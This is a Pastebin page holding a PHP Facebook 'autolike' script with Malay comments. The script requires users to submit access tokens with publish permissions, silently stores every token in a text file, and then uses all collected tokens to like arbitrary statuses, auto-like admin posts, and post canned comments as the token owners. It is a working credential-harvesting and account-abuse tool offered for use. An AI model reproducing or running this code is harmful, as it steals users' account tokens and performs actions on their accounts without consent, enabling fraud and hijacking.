Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - <?php
 - include("proxy.php");
 - //ganti dgn nama file yg ko nak utk simpan token
 - $tokenko = "token.txt";
 - $tokeng = $_GET["token"];
 - //edit to off kalo nak off proxy
 - $proxystatus = "off";
 - //buang text bendasing
 - $buangtext = strripos($tokeng, "&expires_in=0");
 - if($buangtext > 1)
 - {
 - $unuk = "&expires_in=0";
 - $token = str_replace($unuk, "", $tokeng);
 - }
 - else
 - {
 - $token = $tokeng;
 - }
 - //tamat
 - //app id yang ko nak org mesti guna
 - $appid = "260273468396";
 - $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
 - $cek = strripos($check, $appid);
 - if($token != null)
 - {
 - if($cek === false)
 - {
 - die("Please use accesstokens from apps that we provide");
 - }
 - }
 - //check token ada
 - if($token === null)
 - {
 - die("Please submit access token");
 - }
 - //cek token invalid
 - $k = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
 - $check = strripos($k, "OAuthException");
 - if($check > 1)
 - {
 - die("Access token invalid");
 - }
 - //check permision
 - $per1 = "user_likes";
 - $per2 = "publish_stream";
 - $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
 - $ga = strripos($taf, $per1);
 - $gu = strripos($taf, $per2);
 - if($ga < 1 or $gu < 1)
 - {
 - die("Please allow ".$per1." And ".$per2." Permission!");
 - }
 - //show like
 - $iduser = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
 - $idusers = $iduser->id;
 - $cre = fopen($tokenko, "a+");
 - $f = file_get_contents($tokenko);
 - $cf = strripos($f, $token);
 - $cf2 = strripos($f, $idusers);
 - if($cf === false && $cf2 === false)
 - {
 - fwrite($cre, $token."&nama=".$idusers."\n");
 - }
 - $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
 - $taz = json_decode($staid)->data;
 - //html autolike
 - //start otolke
 - $statusid = $_POST["statusid"];
 - if($statusid != null)
 - {
 - $geto = preg_split('/(\r?\n)+/', $f);
 - foreach($geto as $phc)
 - {
 - tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
 - }
 - //admin otolik
 - $listadmin = array("mohdtazme", "zuck");
 - foreach($listadmin as $admin)
 - {
 - $gcu = tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus);
 - $jsta = json_decode($gcu)->data;
 - tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
 - }
 - $jaw = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
 - //chek id
 - $jagu = json_decode(tobitaz("graph.facebook.com/tobitaz/feed?fields=id&access_token=".$token, $proxystatus))->data;
 - $nod = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
 - $fnod = file_get_contents("id.txt");
 - //cek id strripos
 - $nos = strripos($fnod, $nod->id.$jagu[0]->id);
 - $kokop = array("wow", "nice admin", "mantap");
 - $koawe = $kokop[array_rand($kokop)];
 - tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
 - //no double comment
 - $nodc = fopen("id.txt", "a+");
 - fwrite($nodc, $nod->id.$jagu[0]->id."\n");
 - fclose($nodc);
 - //end admin
 - echo "<script>window.location = 'remover.php'</script>";
 - }
 - fclose($cre);
 - chmod($tokenko, 0600);
 - //bendasing dlm home
 - $dp = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
 - ?>
 - <body style="background-color:black; width:100%;">
 - <center>
 - <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
 - <font color="white"><?php echo $dp->name; ?></font><br />
 - <div style="border:3px grey outset; background-color:grey; width:60%;">
 - <form action="" method="post">
 - <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
 - <input type="hidden" name="token" value="'.$token.'"><br />
 - <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
 - <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
 - </form><br /></div><br />
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment